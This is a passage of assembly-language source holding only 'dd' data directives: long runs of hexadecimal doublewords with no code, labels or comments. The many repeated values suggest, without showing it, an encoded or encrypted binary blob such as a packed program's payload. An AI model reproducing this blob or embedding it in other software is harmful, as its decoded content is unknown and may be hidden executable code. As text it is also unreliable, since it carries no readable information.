11ED43F3h, 0F7EF4316h dd 15624AB3h, 0D7E54432h, 3172A536h, 156EF86Eh, 836F8832h dd 227C4D4Dh, 1ACC551Bh, 156619BEh, 17E78732h, 75664432h dd 15A3CB53h, 1B8F1132h, 0A4668832h, 749F9D4Fh, 0CACE98FCh dd 997BA8C6h, 315277EDh, 11A2C56Ah, 0EC662232h, 6AE6ED98h dd 906961CDh, 156644A9h, 1561A23Dh, 91691132h, 15668833h dd 9E0024CBh, 156FCBF9h, 0EEF91132h, 698F78AAh, 7446B8BFh dd 0E78E9FB1h, 1A661933h, 1566C4B6h, 78F2432h, 0B1662232h dd 32B5794h, 656AE2E7h, 0E40F55D9h, 0F7BAB914h, 9807E4BDh dd 158A2DAFh, 9269243Ah, 15662237h, 6FB09054h, 1563615Fh dd 0B1CA4432h, 7465F285h, 0FC06C2CDh, 1566883Eh, 0EB136D77h dd 83796289h, 0EA9DC5F7h, 118A0953h, 9C664432h, 11DD062Eh dd 14661132h, 4E6500C9h, 15664EDBh, 6CAF5032h, 0CD4EAEF2h dd 9E7D701Dh, 0EF70FDB7h, 1A06DA35h, 156617B6h, 0D7A00932h dd 956A79F5h, 46071FC7h, 3C756189h, 0D8D093Dh, 0E20F1653h dd 0E48DA3E9h, 14942EEEh, 0ED4FD3EAh, 0FC16F31Fh, 3ED2D55h dd 0FC661132h, 15668823h, 2E56894Bh, 433B92EFh, 0DB99DFBEh dd 0BA45305Ah, 11DB1138h, 10662232h, 5EC76D6Eh, 494B601Bh dd 482DE54Eh, 156627DBh, 6010A132h, 75CD0107h, 1186C554h dd 1568CA2Ch, 0CB131132h, 3932BA7Dh, 692394DBh, 0A19E607Bh dd 0B8074ACBh, 0E9DCDACBh, 9499BBCDh, 4169B9D8h, 9494101Ah dd 416913F0h, 1564831Ah, 4F662232h, 156E9F3Dh, 90698832h dd 15664430h, 7F8F4352h, 7599EEC9h, 0A2B9373Dh, 0A0EF2599h dd 129C01CBh, 1F8F9152h, 74BE0354h, 15790E5Ah, 3172AB32h dd 1563F952h, 5258832h, 1A0F1037h, 156622B1h, 7D074932h dd 15660832h, 0E6ED2252h, 1564AF3Dh, 4A351132h, 1A66E253h dd 15664CBFh, 17E12D32h, 75661132h, 0B8D37753h, 7561BE27h dd 73B69D3Dh, 0EA07C0B9h, 0EF66FDA7h, 2199B135h, 0D1E57816h dd 98EDE436h, 129C9EB7h, 156648DBh, 0CC7A132h, 9DAB5030h dd 8DB4790Fh, 65B2C73h, 1EF2232h, 72FEAB16h, 14A1D479h dd 492D23AAh, 0E03C3303h, 156F9A3Dh, 73068832h, 0AF0085B9h dd 43073FCDh, 1562AC67h, 0FBEF8832h, 4B97456Fh, 17E52D52h dd 9E661132h, 0FBE7EEC2h, 9C074BE1h, 0EF70A7BFh, 1572F835h dd 0CFF88832h, 0B78E9B5Eh, 62AC170Eh, 21E20E0Ch, 0CEE12BA8h dd 0F18F86E5h, 0ED99DDF7h, 154DB3DBh, 15696132h, 0DE4432h dd 0CBD7BA10h, 23461961h, 7D61F04Fh, 1F8F2499h, 79662232h dd 0D24E35D2h, 71D2FDDh, 90EBCF26h, 0E061D824h, 15DF4061h dd 9C668832h, 0DE671DF9h, 0E03D29B9h, 0E7829CBBh, 73068033h dd 73E5B78Dh, 9407F4B9h, 51325F0Ah, 89E3877Eh, 0FC664432h dd 15662223h, 9BE844FFh, 0A24EFC83h, 0F7B24246h, 0D568EF25h dd 6DE77708h, 1A48C436h, 15663EB7h, 156FCB32h, 0B0961132h dd 65A0EA00h, 7D829877h, 15665449h, 9C420DBBh, 4EB801F1h dd 156656DBh, 0E5FBF32h, 343EA2A9h, 0AEDDAFA4h, 0E2A38FDDh dd 1A3AFCC2h, 156610B8h, 0AE357D32h, 15664434h, 9EDFC33h dd 11A29216h, 15669BDBh, 0FBB76932h, 59429607h, 44625DBFh dd 59A41787h, 7CBE8641h, 3FDBA7B9h, 1F8F16C8h, 4C668832h dd 0A40C5C75h, 2146F4AAh, 1078F864h, 949E8832h, 156640DEh dd 317AAB32h, 0CBEFD2BBh, 45367169h, 0EC38328Ah, 31220B06h dd 943C4936h, 0EC38FEF0h, 156CAD06h, 55CE2232h, 6195E1B0h dd 233195E0h, 9B698D03h, 1566223Eh, 1560923Dh, 96698832h dd 15664432h, 198F429Eh, 0B4661132h, 0B514BAA7h, 633BD4B0h dd 7418938Ah, 9169110Eh, 156689A4h, 15664EDBh, 643A4832h dd 2C39B0A3h, 294BD7C7h, 0D8E24B1Fh, 0E999DDCDh, 91693F0Eh dd 156688EAh, 13E74B52h, 1A662232h, 156611B6h, 0C4EDEE32h dd 9E002453h, 0B2079DF8h, 2907524Ah, 43E48702h, 0E0664437h dd 93691B0Eh, 0EA99EEAAh dd 15740E3Dh, 188F4432h, 0E8662232h, 35DAEF0Eh, 0D816D6E8h dd 0FE01F3F3h, 9769630Eh, 1566141Fh, 156D093Dh, 138F4432h dd 90662232h, 9881432Eh, 1A3CB477h, 0EA991BB4h, 4A5ADACDh dd 0EA30953Dh, 956977CDh, 15664433h, 1A071ECEh, 1562EDB0h dd 15606132h, 3CFA4432h, 0D6AC7B0Ch, 93696B0Eh, 0EA997706h dd 9E001452h, 74937DC5h, 15679C3Dh, 0FC9E8832h, 156640E7h dd 2FA59C52h, 68E1437h, 0CC668832h, 6B175716h, 0F660FFFBh dd 334957DAh, 3FE93F4Bh, 1A8F51D5h, 1C662232h, 0CC7938DDh dd 75CB7519h, 0E471223Eh, 743D4636h, 1506295Ah, 31720132h dd 4F4240CDh, 0FCDD4452h, 10E81E39h, 73668832h, 0C9529CB3h dd 1A941B53h, 15626DB6h, 188FE832h, 40664432h, 2686D389h dd 0EC3C038Bh, 5BDC141Eh, 0AE3525C7h, 0EA99DDCDh, 753DCB33h dd 15669BDAh, 70C5C432h, 6F56A448h, 0E449B691h, 7524A93Eh dd 0ECE74BB9h, 15662ADBh, 90E01832h, 0A89A3049h, 47071C5Dh dd 0EA99DD88h, 4FB738CDh, 156A013Dh, 98694432h, 15662234h dd 1566923Dh, 748F8832h, 0FC99BBCCh, 1566223Ch, 1962C80Ch dd 85BC6278h, 8BC7AAF7h, 0DCE36B96h, 169D953Dh, 9A698832h dd 15664426h, 15662DDBh, 2AF23B32h, 0FA1658BCh, 50E85E44h dd 193D4718h, 1217A4BFh, 0E9068FC8h, 873FB54h, 94347753h dd 13943506h, 943BA9CFh, 0E860B6C7h, 488FAB13h, 156617DBh dd 4FFCDD32h, 0E9EFC343h, 315AA960h, 0ED62D5B1h, 95DC3A60h dd 0FFE685F0h, 4FB6AA08h, 14AD1CCh, 156C61CBh, 39964432h dd 255320F7h, 8B3D4E81h, 0E09BFD9Ch, 15664FDBh, 795D5332h dd 51A7397Ch, 9346307Dh, 78E0F967h, 0FC4F6F9Bh, 949F386Fh dd 0BC0B0EF3h, 0C491BC7Fh, 0EC99CBB1h, 6306A962h, 83539F68h dd 3814FA2Ch, 0FCD42FC4h, 3C3ED61Bh, 15A109FDh, 0E01A7669h dd 29ED7465h, 11A29016h, 4B668832h, 0E0C2B7C7h, 0D3D69763h dd 45D6EE75h, 0EA99778Ah, 259E45CDh, 0FC3F7A1Ah, 1566113Ch dd 11DFE555h, 0EBED255Eh, 0DC0FC3h, 80EB9A9Eh, 129C8F43h dd 156655DBh, 68F64032h, 8D602110h, 0F6038A27h, 66EF80E3h dd 90EDF15Bh, 129C359Fh, 57870952h, 1A5477BFh, 9007D085h dd 0A6E31EF2h, 1A668832h, 15665DB7h, 58F4232h, 82661132h dd 0CDBF52DFh, 0E1633434h, 942FDF5Dh, 4674F041h, 1A06E96Ch dd 156647B4h, 0EFED4432h, 74FDDBB2h, 13030DF4h, 0FC2143C8h dd 15662220h, 67834915h, 0CAE2207Bh, 0EAAA0042h, 5796E94Eh dd 0C70E21EBh, 0FCB21295h, 15664434h, 0AD8D6BB5h, 0A099507Eh dd 129CA8A7h, 15664ADBh, 0F193332h, 0EB50C2FFh, 0A7721C4h dd 987E9643h, 0E8C5FFB7h, 1569F835h, 0FC8A8832h, 0B294BEA2h dd 0F0C0C776h, 94914DC2h, 15766123h, 0EDED4432h, 92FD1DF5h dd 57D3131h, 0BAB7F45Fh, 0C599EC1Ah, 15662BDBh, 0CCD87932h dd 0F4E8B6B6h, 9C359815h, 11A5A3D1h, 94661132h, 15668CD9h dd 317AC332h, 3172AB6Eh, 156B9E3Dh, 1D8F8832h, 7F664432h dd 0A2361618h, 0ED613C9Eh, 0FC0658CDh, 1566443Ah, 0A821C6A1h dd 6F537D0Ah, 156D6153h, 0D6E94432h, 53EACC04h, 8BD24669h dd 1AA60DF3h, 1566B3B7h, 156BCB32h, 0F1041132h, 0EDD4D546h dd 0DC926BB6h, 9EBE5789h, 0EF4E08B7h, 0D5E37D35h, 1511C13Dh dd 0D39E2232h, 0EF6074B7h, 9E06C435h, 74B2CEC2h, 0CF7ACB5Ah dd 1EC1EEBh, 0FC668832h, 1566443Dh, 9EE171D9h, 5F76B386h dd 0C0977E84h, 0EA283259h, 0EF46B787h, 12E91E35h, 75668832h dd 1096C554h, 90EB436Bh, 129BB2EFh, 75A00252h, 0D4E71F60h dd 2F1B4A5Ch, 0C5997053h, 4D9FD952h, 15664CDAh, 54A4F032h dd 0D4BFEBFh, 156F6102h, 0E9934432h, 7890F87Ah, 4A15F720h dd 0C13E053h, 1EF4432h, 1576CB16h, 0FA531132h, 517A5F97h dd 0AD9D3B8Ah, 64FC504Eh, 0C599FFF5h, 156681DBh, 69460A32h dd 229EF9A8h, 0D5E363C5h, 154C0D3Dh, 58F4432h, 662232h dd 49AAC251h, 883F4381h, 0D097C28Fh, 0FC0F0987h, 156611DFh dd 156683DBh, 46764532h, 61CAF268h, 0DF453457h, 0E7820DBBh dd 0FC064C33h, 1566223Dh, 3A8A9113h, 0A101F21Eh, 0C074E6DCh dd 95252CBCh, 430766EFh, 0D3E76EBBh, 15664436h, 1562CCB3h dd 21E11132h, 11EFD416h, 108F2416h, 0A5662232h, 9C536444h dd 810E7D53h, 9C664429h, 0FC060606h, 1566113Eh, 0CD048CF5h dd 8A838BBBh, 2F892600h, 156618DBh, 8FA93032h, 0AD64C29Eh dd 980764AFh, 0E8A30EB7h, 12E48735h, 1A664432h, 156623BAh dd 0C599ED32h, 15776052h, 65234432h, 0DFA386F8h, 150A64D5h dd 6D895A0Ch, 94D43E5Bh, 85F5EEDAh, 9F694904h, 15668830h dd 1E071086h, 6E32DF2h, 0E9661132h, 1566A0DBh, 4DD92432h dd 943FEE8Ch, 0BFC552F2h, 51EFE908h, 9B695816h, 1566223Bh dd 0C6E77752h, 7406C3D4h, 0AA692453h, 0E7ED44E2h, 0D69A7053h dd 9E9AE8CBh, 1494A0BFh, 1563CB3Ah, 0EB6C1132h, 43FE5250h dd 0D3E7A2BBh, 15662236h, 1562FFB3h, 21E18832h, 11EF1816h dd 1568CB16h, 2C0F1132h, 3A6D473Dh, 0CE50B27h, 59D46B3Eh dd 9C3C4060h, 0FC06D2E2h, 15664421h, 95E92FAAh, 220C7F38h dd 0BA247E4Bh, 7F021621h, 1A2C52F7h, 156613B1h, 743FD832h dd 1562A8B3h, 1EF2232h, 155AAB16h, 0D7678832h, 0EC3C4631h dd 9DDF73CEh, 14661132h, 9E7703F3h, 0D1E5603Eh, 0DEF2D36h dd 0FC661132h, 15668821h, 0F094E430h, 85EF8176h, 329CEE68h dd 524F91Dh, 75C51598h, 1A074252h, 7507D28Dh, 156684DBh dd 7422F732h, 0B6949C81h, 5EB7F1ADh, 1BDFEE94h, 9C072585h dd 0EF4073A7h, 1DE21E35h, 1A668832h, 156646BAh, 0FC074232h dd 15661126h, 32BEB826h, 5B62776Fh, 39E4C682h, 7798DCDh dd 1FC15082h, 159EFB65h, 634B2232h, 1456B83Eh, 19108DCAh dd 7539749Bh, 62AD638Dh, 74E1A520h, 946AF8CDh, 49E36036h dd 453C1D33h, 143A948Ah, 4DA4A10Dh, 15664FDBh, 7CAE432h dd 4532577Dh, 7165A325h, 38FBD1BBh, 9C6925C8h, 15661134h dd 4238D952h, 21992569h, 0D1E77A16h, 15661136h, 311277C7h dd 3162CF16h, 7562E6B1h, 1575F852h, 0ECCF8832h, 0FC9B8B23h dd 0FC4C53B5h, 41DA63C4h, 0F4200AF4h, 460725DDh, 4E174F89h dd 4EBE382Ch, 7863401Bh, 0FC781F43h, 15662226h, 12B6AADCh dd 20099442h, 62EDCC49h, 0B1D02A2Bh, 0A15A0253h, 38FB0D09h dd 976943C8h, 1566226Ah, 44E32ACEh, 1A617214h, 15660FB1h dd 1576CB32h, 94D11132h, 0FD2CF2E3h, 960CF655h, 1486CD38h dd 75077FA8h, 8FEE6AB3h, 1C8E0041h, 0EE662232h, 46D24B5Dh dd 31714B0Ch, 1566C53Dh, 74392232h, 1A6615F0h, 156687BDh dd 156CAD32h, 0B06A2232h, 83192C24h, 0E48FB757h, 1DED4B53h dd 1A662232h, 156613BDh, 7507E832h, 1563C83Dh, 0A8DC2232h dd 74449ED3h, 0D1428CF5h, 9406A34Ch, 75170606h, 21E7050Dh dd 3F66A116h, 0E1D81201h, 3C7B2C4Fh, 4B623546h, 0C942ACB3h dd 0EA537D44h, 11E7063Eh, 0CBB96816h, 156A61EDh, 0F71D4432h dd 5F8F1476h, 3C7BD597h, 48FE00Fh, 78664432h, 1AE7EF82h dd 6AF8BB15h, 87DD2873h, 2CC8F6B1h, 114266F5h, 33DF6D12h dd 1142E4F3h, 3122C534h, 235FF636h, 3132E60Dh, 0D0DCDA36h dd 1459952Dh, 4F6E0666h, 730E46CAh, 9E07554Eh, 0D1E7600Eh dd 15662236h, 0FAE7C6C5h dd 8B440BA6h, 0E939BCBBh, 5A00AFBFh, 926916C8h, 1566883Ah dd 1564CF3Dh, 74062232h, 5DE7752h, 0F499E993h, 1575C73Dh dd 1B8F2232h, 43661132h, 38FFE872h, 3883D1A0h, 266C6D14h dd 1C8F7179h, 96668832h, 10E8EEEh, 0FF399E99h, 15065A5Ah dd 31720132h, 15664488h, 9F942332h, 29934B30h, 56E287DBh dd 75664433h, 0E7AA978Bh, 16E31E22h, 1A668832h, 29079D85h dd 43E22DDAh, 75661133h, 0BC853354h, 0AD8CFC8Dh, 1A5A4324h dd 153B953Dh, 95068832h, 2907C7C0h, 0BBE22DFFh, 75661133h dd 138F42B9h, 0D8664432h, 0D5CD0A9Ah, 0FE5A70C3h, 14870C3Dh dd 108F4432h, 0B9662232h, 3F935306h, 15726153h, 4B0C4432h dd 18F21232h, 3C0067E1h, 0AC224322h, 3D92B4FFh, 0FCA58505h dd 1566113Dh, 73727DFEh, 0C02148DDh, 4167B053h, 47831DC7h dd 15673163h, 0DFEF4432h, 9F94236Bh, 44934B28h, 0FE467887h dd 944248B9h, 156626F6h, 1574F832h, 0E2E58832h, 0C06CC57Ch dd 5E9174C4h, 0D27523EEh, 59193BE2h, 1AE6BFB2h, 0EA99B1B7h dd 9430E4CDh, 761CAC1Eh, 9ED684Eh, 11A2A116h, 761CD2B3h dd 0FC06A44Eh, 15664434h, 0FFFDE649h, 188F9393h, 0DA668832h dd 0E2BCEF78h, 0C36636ADh, 8B330CEAh, 13DED853h, 14664432h dd 3162A9F1h, 1562D5B3h, 47938832h, 15664688h, 44942332h dd 1566118Bh, 16B78932h, 0E03C1D2Bh, 156690DBh, 2EA1E32h dd 0FC668832h, 15664420h, 204B5800h, 32CA6083h, 0FEE976D3h dd 7036D664h, 639948FBh, 317A9A33h, 0FC624CB1h, 15664421h dd 0F3255C99h, 9ADCAE70h, 0C0DC6545h, 0F28D4A54h, 9663C47Eh dd 9169EAC9h, 156688EBh, 118AC7CEh, 4E4216BBh, 44DE7752h dd 0AF34E902h, 15664433h, 0AD36D033h, 15661132h, 0D655833h dd 1A8F1E6Ah, 6F662232h, 0C4F3B7E7h, 0B072194h, 7D321AE4h dd 9B69173Ch, 15661128h, 156B6152h, 0BF9C4432h, 9F0534C1h dd 0C8A3982Ch, 1A4E4C58h, 156644B2h, 47304332h, 4830835Ah dd 0D7E7D25Eh, 86C4ED41h, 143CF4BBh, 0FC934FC1h, 0EA99764Eh dd 7313F352h, 0D6C6CDB3h, 4BD01E53h, 15756133h, 0E02D4432h dd 797C1E8Bh, 1D6C332Dh, 5D713FC3h, 8727855Dh, 3B8DA113h dd 0EB28953Dh, 18F77CDh, 69664432h, 0A450DE29h, 46C322BEh dd 344B66ABh, 0BAF8DEE3h, 0FC43D7EDh, 1566112Fh, 1567053Dh dd 959E4432h, 1A98234Ch, 0EA980EB7h, 156161CDh, 6D6C4432h dd 0B24D7948h, 0E9C4F855h, 0AC0677CDh, 15994C9Bh, 0C6099854h dd 0F3EF4753h, 15624EB3h, 0FBE54432h, 3152A536h, 3152986Eh dd 156D6152h, 22A4432h, 0C6FBFDB5h, 5638AEB4h, 15766134h dd 0D0CD4432h, 831FB5A5h, 48A6F69Dh, 0EE4E594h, 460702B8h dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h dd 12E41E16h, 1A668832h, 156645B0h, 960EDE32h, 9C661159h dd 0EC06AC2Eh, 15664EDBh, 0B997ED32h, 5472BF95h, 74DCB9DDh dd 9483CD67h, 156626F7h, 118B9232h, 4942A4B5h, 1A4278BBh dd 15662AB2h, 0E5E77132h, 11CF687h, 1AA67553h, 156625B1h dd 0DFE67132h, 745E3879h, 8E64B9Eh, 75662232h, 0FCC4DCB2h dd 15668821h, 0CA49B1BBh, 53F7647h, 0D7A7EFE9h, 2476473Ch dd 745CB527h, 0D6EE7160h, 9D3DCBBAh, 9406D2E1h, 5E6591DDh dd 156DCB73h, 0B5F41132h, 687D63D0h, 29B4139h, 0F9E543DCh dd 31629836h, 0D6467882h, 7337246Ah, 0E93DD5B9h, 12EC1E53h dd 1A668832h, 156645B6h, 0EEE6DE32h, 0D8E21E42h, 0E0668837h dd 91694B0Eh, 156622C9h, 15661EDBh, 0E62E5332h, 0F697B8FEh dd 8E9877CFh, 86D20B46h, 1A8FB4C7h, 156CB6B6h, 6E92D32h dd 0FC661132h, 1566883Ch, 9C953799h, 0AA407F72h, 7920860Ch dd 0FE5A1C99h, 1AE5C03Dh, 0FC9E2232h, 15661137h, 0F63903A2h dd 1A8578E1h, 156585B6h, 1563F832h, 0D4B18832h, 294CA62Bh dd 0BDE22DD0h, 0ED661122h, 0DAE7DB52h, 346EBC50h, 94004269h dd 95347CF4h, 740714FCh, 4A4270CDh, 7562E6B1h, 1563943Dh dd 94008832h, 740A35E2h, 4E4216CDh, 1562D5B3h, 9E9E8832h dd 9C36603Eh, 156227D2h, 11631132h, 92668832h, 0FC3A6036h dd 1566223Ch, 0D0BCD094h, 3D3E7C52h, 41019E89h, 21993D31h dd 0D1E74F16h, 15668836h, 17EA4B52h, 9E662232h, 9B6941FAh dd 15668832h, 75A52568h, 0E58FA354h, 1B8F71F1h, 86668832h dd 4D67EAB8h, 9AB90B9Dh, 97DCDF0h, 68D8EE1Ah, 0D20725C8h dd 149596B7h, 1566173Ah, 0DED8732h, 0FC664432h, 15662221h dd 2246D9h, 0FED2524h, 8E8B1AB3h, 0C399042Fh, 4509377Fh dd 1566888Ah, 9F964532h, 3162A92Ah, 0ED62D5B1h, 958C3D63h dd 0D0E667DFh, 8F8BA23Fh, 0C890C4C4h, 0D5793E60h, 0D3E640D4h dd 0B688A2FCh, 25B6E7B2h, 0FE46D2C7h, 0EEE6B16Bh, 0E32DB2h dd 0FC99EECDh, 15668835h, 0AEDB746Dh, 40E0BDEBh, 0EA99EE8Fh dd 488889CDh, 156643DBh, 0B236E632h, 9761A3C0h, 314F0DB9h dd 9E9343C8h, 0EF52E7A7h, 0F9E5E435h, 31520136h, 0DF4268B3h dd 4E4C9E21h, 6ACD2B3h, 9169A28Eh, 1566442Ch, 157EA53Dh dd 68F1132h, 96668832h, 498E6D1Ch, 9A69DBBDh, 79712A40h dd 3F3A9D98h, 0AA319024h, 15662234h, 29EDEA33h, 11A20B16h dd 0BB6AFE52h, 97693D5Eh, 15661133h, 0AF34E9C7h, 15664430h dd 0F65D033h, 944205B9h, 15668CF6h, 0C5ED2432h, 4DA8A960h dd 1ABE2A53h, 1566A9B0h, 1561AD32h, 41832232h, 7AC172BBh dd 1ABCB364h, 0EA981FB4h, 1561CBCDh, 27991132h, 0BA94FA16h dd 0FEE7BD31h, 5FD57AAAh, 3882D2B3h, 0EE4FF058h, 3882AFB3h dd 0D6E75A58h, 5FD549AAh, 156A043Dh, 9B694432h, 15662234h dd 1566923Dh, 9E698832h, 1566443Ah, 1564A93Dh, 74061132h dd 15727E5Ah, 315ACD32h, 1566248Dh, 4A9D3832h, 156D6052h dd 296A4432h, 0D0B44ECDh, 0CE8B8F1Ah, 1F8ED2D7h, 80664432h dd 7D570F0Ch, 89639917h, 1572602Fh, 27684432h, 0ADDED52Fh dd 0AB009421h, 0ADD348FDh, 9683CF54h, 4D39489Dh, 1ACB7753h dd 156690B3h, 1575AD32h, 2BC62232h, 2F56540h, 0B5F68706h dd 0C3B1DB42h, 0FC9DDC87h, 0E0CD77F7h, 11EDDB62h, 11A2C516h dd 4E662232h, 7ED7E452h, 9400E853h, 0ECDA9DC0h, 9D698953h dd 15661133h, 0AA31DACBh, 27B51D94h, 4CC4CDB3h, 0EFEF23E1h dd 4FB0896Dh, 0CCED2252h, 315AAB53h, 13E31E52h, 1A668832h dd 156644B3h, 4CDD4432h, 61EF7001h, 9C698416h, 15664429h dd 1573A23Dh, 58F1132h, 27668832h, 15AE7DEAh, 4293148h dd 643EB277h, 9CDFB787h, 0EF43A987h, 2199DB35h, 0D1E74E16h dd 15668836h, 156649DBh, 52DAD132h, 0E1ECE037h, 3C19FE88h dd 219941FDh, 0D1E77916h, 15661136h, 1567093Dh, 0EA934432h dd 963F0606h, 0FC0615F6h, 15668834h, 0B92A51E8h, 9E076942h dd 9C373506h, 11A709D3h, 96664432h, 19E126F3h, 0ED064D16h dd 15669BDAh, 0B015C132h, 8AD814A1h, 0DA6E0967h, 490965D8h dd 0D023C76h, 4BBCA954h, 0F3EF4753h, 290B3765h, 94212659h dd 7E5A48DDh, 4A981050h, 92624EB1h, 1A3A6006h, 156633B5h dd 156AF832h, 0AAF78832h, 0FFE1F881h, 0C76EA767h, 6C8F597Bh dd 0E09977EDh, 0E6D2C1F5h, 15642A33h, 92691132h, 15668820h dd 156649DBh, 0F8444A32h, 305C2A45h, 0D233B470h, 6A0EA740h dd 9C66227Fh, 753D3506h dd 1565083Dh, 0AA694432h, 0AC0042F8h, 7407F7B9h, 0FC683E3Dh dd 15664437h, 63ABAD42h, 14EF1E9Ah, 0E0668832h, 1AE6BDB2h dd 156658B1h, 0D6E7E432h, 150ED980h, 0AC378F33h, 150E7380h dd 0EC3FDA1Bh, 156D6152h, 13984432h, 695033FCh, 16910FE2h dd 15766062h, 0EBCB4432h, 0E08FE991h, 0BAEF69BDh, 86FB062h dd 0E0E6CE2Eh, 46077947h, 144215B3h, 4E668832h, 1562CC3Dh dd 75062232h, 95067053h, 40D966D0h, 74457A61h, 1566B4DBh dd 1561F832h, 15148832h, 9D7FB3B6h, 9406427Bh, 9F5A85E2h dd 0CDEDEE13h, 7307B153h, 3D999561h, 9ED77CBh, 17A20B16h dd 0E2F70DCEh, 108FB3E2h, 14661132h, 0D1E39118h, 670E1762h dd 4E09953Bh, 565FE2B3h, 9425A3D2h, 0BDD0F7F1h, 4EBEAB89h dd 0FC3ED013h, 1566883Eh, 3A44E6ACh, 0BA0B77B0h, 0AE821606h dd 48D33062h, 0D64F448Ah, 94AD0B6Ah, 0AD3BA4F1h, 15766132h dd 7EC34432h, 0E0767194h, 9B118B42h, 95E985AAh, 94062A38h dd 0E9DFE0FCh, 0FFE7770Ch, 9E07FC2Ch, 0EF426DB7h, 0AA694235h dd 22BB91F9h, 0D0F30353h, 7561BE06h, 3A80A354h, 1568F823h dd 0E7338832h, 62118D3Ah, 0CEBC15D7h, 0F6377B0Ah, 78DB0B53h dd 1461BE13h, 1174A63Dh, 2C9F1132h, 1CE487F1h, 0FC664436h dd 1566223Bh, 0AAC2A587h, 0CF45FD9Eh, 1AB57D8Dh, 0EA9CF5B0h dd 2E71ECDh, 0FC668832h, 15664420h, 4599F291h, 0C3F6A49Ah dd 0D712EBDAh, 1A9AA6B1h, 0C48FC15Ah, 0E0661131h, 0E6D20DF5h dd 15644C33h, 1C8F2232h, 79661132h, 5966E283h, 1BE50A1Bh dd 9C3677CAh, 4DA398C2h, 1A3B63BBh, 156649B5h, 156ECB32h dd 4E391132h, 2FD136ACh, 0A369F12Bh, 156CCB3Ch, 0E3B71132h dd 0F50D2758h, 48E5B71Fh, 1AE6DBB2h, 15662CB1h, 0AC377D32h dd 4E7D140Ah, 456DE3B3h, 0DCE734FEh, 5594CD5Dh, 0D4E795C5h dd 0DE9226F6h, 143FDA33h, 418D09F9h, 0E06CB82Dh, 15679F67h dd 0FE671132h, 0B68F7D6Fh, 1A664432h, 156623B4h, 8B0EE832h dd 9C668833h, 0EAD5602Eh, 1A3DFB1Ah, 15661CB5h, 156E6132h dd 0EF304432h, 885AE84Ah, 0A006D7D0h, 74A80329h, 1566445Ah dd 3162A332h, 1D600500h, 9442841Bh, 154601Eh, 1A3F2A34h dd 156610B2h, 46367432h, 0D50E3789h, 94B5D57Eh, 53577F9h dd 94BD7F35h, 0D54EA9C1h, 4EBEAB7Ah, 0EC3ED013h, 0B9F3163h dd 0DCE756E4h, 4E52A4Ah, 7AA7D0B3h, 0C491B176h, 68BA8DB3h dd 0FCE74E0Ch, 0A4E401C9h, 3C3F4333h, 0F78DC5F9h, 1A2B5E5Eh dd 156618BBh, 9400E832h, 44DF12C5h, 90ED436Dh, 129C351Bh dd 1575003Dh, 1B8F4432h, 1A662232h, 83D87E2Dh, 4BB15F64h dd 0B9F20559h, 0D0F3A94Ah, 0FC61EB06h, 15668838h, 0CC5EC4DFh dd 44D09D5Ch, 0A8E552A5h, 129CA95Fh, 70E24B33h, 0FC662230h dd 15661135h, 1E90C8AEh, 0E06BA236h, 9769FA09h, 15661114h dd 1571013Dh, 78F4432h, 36662232h, 3251B9F0h, 0B2CF0CF0h dd 77C9EFF7h, 50D49A13h, 1AB52834h, 0EA9F87B4h, 0AA31B8CDh dd 15662233h, 0E039EF1Bh, 0E33D3F61h, 6091C4E5h, 9365C5F2h dd 93B8E7C5h, 629108C5h, 0ED3DBCBAh, 14EC2D98h, 0EC661132h dd 15663260h, 0FFE74432h, 4978691Fh, 0D7E7E333h, 4978C31Fh dd 753C4EB8h, 1563AE3Dh, 0D8DF1132h, 9473A7D6h, 0E075FE4h dd 19D64300h, 0DD98791Eh, 0EB2F3963h, 138F84F3h, 3D44D3B2h dd 996948FAh, 1566883Bh, 17DC2252h, 0DFD92D3Eh, 1561F853h dd 32578832h, 4C97F61Eh, 0A6357079h, 0C0A59108h, 353D52BAh dd 93691EE3h, 1566223Ch, 156618DBh, 0E1AEE532h, 1B814952h dd 0DD6E2F68h, 1576903Dh, 1E8F8832h, 0A4664432h, 8631B2EEh dd 2D9C07DAh, 75CCE641h, 749EF33Dh, 470FC9B3h, 0EE4F7D65h dd 77F13765h, 942128EEh, 673B3AFDh, 0E4919016h, 1466211Fh dd 1F8F1BC9h, 60662232h, 0E6D2ABF0h, 7CDDA54Ah, 11DF15F9h dd 94662232h, 4D5334F1h, 94ADA119h, 4D5361D9h, 45937B19h dd 31629A61h, 15624CB3h, 1A3D4432h, 15662CB2h, 156FF832h dd 0ED568832h, 0A7E31300h, 0BEBD9A82h, 1ABC9B52h, 15668DB2h dd 0C4E72232h, 0FC079BD4h, 15661123h, 0F0B9974Dh, 511F91DDh dd 3BF57F75h, 0AFCE7E4Bh, 17DED8F0h, 14664432h, 3162A9F4h dd 0EC62D5B1h, 308B3DBBh, 78F43C8h, 0F0662232h, 207E09B7h dd 431B948Ch, 0A47C9F5Eh, 90AAE81Ah, 78E3D62Bh, 14617213h dd 0FC664432h, 1566223Eh, 0F24B9D79h, 0B422FBDCh, 79643626h dd 4580AB64h, 0C469618Ah, 108E4920h, 0E261A4F3h, 28E327E2h dd 0D3675A76h, 11A00B6Ah, 494270B5h, 3152DDC7h, 11A29269h dd 0D3A70952h, 940D7760h, 0F8A43CDAh, 0EA9A7018h, 963FAC06h dd 0A70640F6h, 9C314301h, 11A190D5h, 43668832h, 1566408Ch dd 4B912332h, 49422DB5h, 156680DBh, 3EC76132h, 56408B17h dd 0F5EF41BCh, 15668C37h, 11A6C732h, 9E4226B5h, 73063516h dd 0E11D4EB3h, 7491FB3Dh, 0EABFCDDBh, 18EA1ECDh, 0FC668832h dd 1566443Ah, 110128D9h, 77EE1DB0h, 15673765h, 0EB4F4432h dd 9E00426Dh, 156EF8FDh, 6EC08832h, 5DEE86F1h, 1A07DF44h dd 156602B6h, 15686132h, 0C704432h, 0F82A26ABh, 3EB4F3C3h dd 536FF4Eh, 0CD61461h, 0D24E2085h, 4E9E996Ah, 0C4EDEE52h dd 74D2AFB2h, 1574CB98h, 241A1132h, 161E311Bh, 51BFBA91h dd 90AF9495h, 8F3A3406h, 156F0B3Dh, 0A7064432h, 0D3E7444Bh dd 4007D262h, 0FDEF7DBBh, 964268B9h, 1A0626F6h, 0CCD0E785h dd 14E18753h, 0EC664432h, 4FFD9961h, 0CD4F2F3Ah, 109EA169h dd 2B6E1EA9h, 156CA03Dh, 75061132h, 15EB8753h, 74664432h dd 52DE7261h, 0AE7A7D6Fh, 90AD571h, 3C3E8703h, 1D8F79EAh dd 0F7661132h, 0B2CD55FEh, 0BEB90CD5h, 9269DE52h, 15661134h dd 1566013Dh, 47074432h, 0A833C0BBh, 15661136h, 963B6233h dd 1E140F0h, 9E067E16h, 21D877FCh, 